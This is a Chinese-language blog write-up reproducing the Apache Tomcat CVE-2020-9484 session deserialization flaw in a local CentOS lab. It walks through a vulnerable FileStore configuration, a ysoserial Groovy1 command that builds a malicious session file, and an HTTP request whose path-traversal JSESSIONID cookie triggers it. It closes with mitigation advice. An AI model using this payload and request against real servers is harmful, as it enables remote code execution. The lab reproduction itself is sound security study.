CVE-2020-9484 Tomcat Session 反序列化复现
一、漏洞概述
Apache Tomcat发布通告称修复了一个源于持久化Session的远程代码执行漏洞(CVE-2020-9484)。
漏洞条件比较苛刻:
- tomcat必须启用session持久化功能FileStore
- tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget
- 在服务器上存在已知路径文件内容可控
- Apache Tomcat: 10.0.0-M1 to 10.0.0-M4
- Apache Tomcat: 9.0.0.M1 to 9.0.34
- Apache Tomcat: 8.5.0 to 8.5.54
- Apache Tomcat: 7.0.0 to 7.0.103
三、漏洞复现
漏洞复现环境:centos7.6
下载Tomcat相应的版本,且解压到/soft/文件中(新建)
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.0.M1/bin/apache-tomcat-9.0.0.M1.zip
mkdir /soft
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.0.M1/bin/apache-tomcat-9.0.0.M1.zip
mkdir /tomcat90m1
unzip apache-tomcat-9.0.0.M1.zip -d /soft/tomcat90m1
解压后我的路径如图
修改文件/soft/tomcat90m1/apache-tomcat-9.0.0.M1/conf/context.xml 添加Manager(session 持久化设置)添加如下内容:
<Manager className="org.apache.catalina.session.PersistentManager" sessionAttributeValueClassNameFilter=".*">
<Store className="org.apache.catalina.session.FileStore" directory="/soft/" />
</Manager>
添加后内容如图:
在目录/soft/tomcat90m1/apache-tomcat-9.0.0.M1/lib 下载groovy-2.3.9.jar包(别的包也可以,比如commons-collections4-4.0.jar,不过换包的话,后面对应生成的payload命令也要相应变一下)
wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar
如果您再后面使用payload是CommonsCollections1 则包就用commons-collections4-4.0.jar
如图两个包至少要下载其中一个放到该目录/soft/tomcat90m1/apache-tomcat-9.0.0.M1/lib
配置tomcat环境变量
vi /etc/profile
添加下面几行到/etc/profile文件如图:
export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk
export CATALINA_BASE=/soft/tomcat90m1/apache-tomcat-9.0.0.M1
export CATALINA_HOME=/soft/tomcat90m1/apache-tomcat-9.0.0.M1
export PATH=$JAVA_HOME/bin:$CATALINA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
运行Tomcat
cd /soft/tomcat90m1/apache-tomcat-9.0.0.M1/bin
chmod 777 catalina.sh
./catalina.sh start
启动后再浏览器访问8080端口,这个页面出来说明已经成功
使用github上的ysoserial工具在本地生成反序列化session文件,生成commons-collections4依赖的gadget恶意序列化数据(下面两种下载方式任选其1):
https://github.com/frohoff/ysoserial
https://www.xsssql.com/wp-content/uploads/2025/06/ysoserial-all.zip
下载完成之后再本地生成session文件
java -jar P:CVEysoserial-all.jar Groovy1 "touch /tmp/Test安全" > xsssql.session
将这个xsssql.session文件上传到/soft目录(在/soft/tomcat90m1/apache-tomcat-9.0.0.M1/conf/context.xml文件里面配置了session会话存放的目录为/soft),此时的tmp目录我并没有放session文件,如图
使用burp重放数据包,注意修改数据包中的Host: 127.0.0.1:8080(或直接在浏览器访问这个网站,tomcat将自动加载.session文件至内存)
GET / HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Cookie: JSESSIONID=../../../../../../../../../soft/xsssql
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
重放之后查看刚刚传到/soft/xsssql.session文件已经消失,在/tmp目录中创建了一个 "Test安全" 的文件,如图:
总结:
根据测试,其实上面burp请求的数据包完成不用发也是可以导致漏洞触发成功,只需要通过浏览器访问这个网站即可,在访问这个网站的时候tomcat将自动加载写入的/soft/xsssql.session文件至内存,直接导致反序列化执行命令,要想使用该在漏洞则可以通过任意文件上传覆盖 context.xml文件,对于其他文章有说过滤../字符其实用途可能不大,原因不需要发送../的数据则可以导致漏洞触发,修复方案限制其他进程对context.xml文件写权限,不使用 FileStore
技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

共有 0 条评论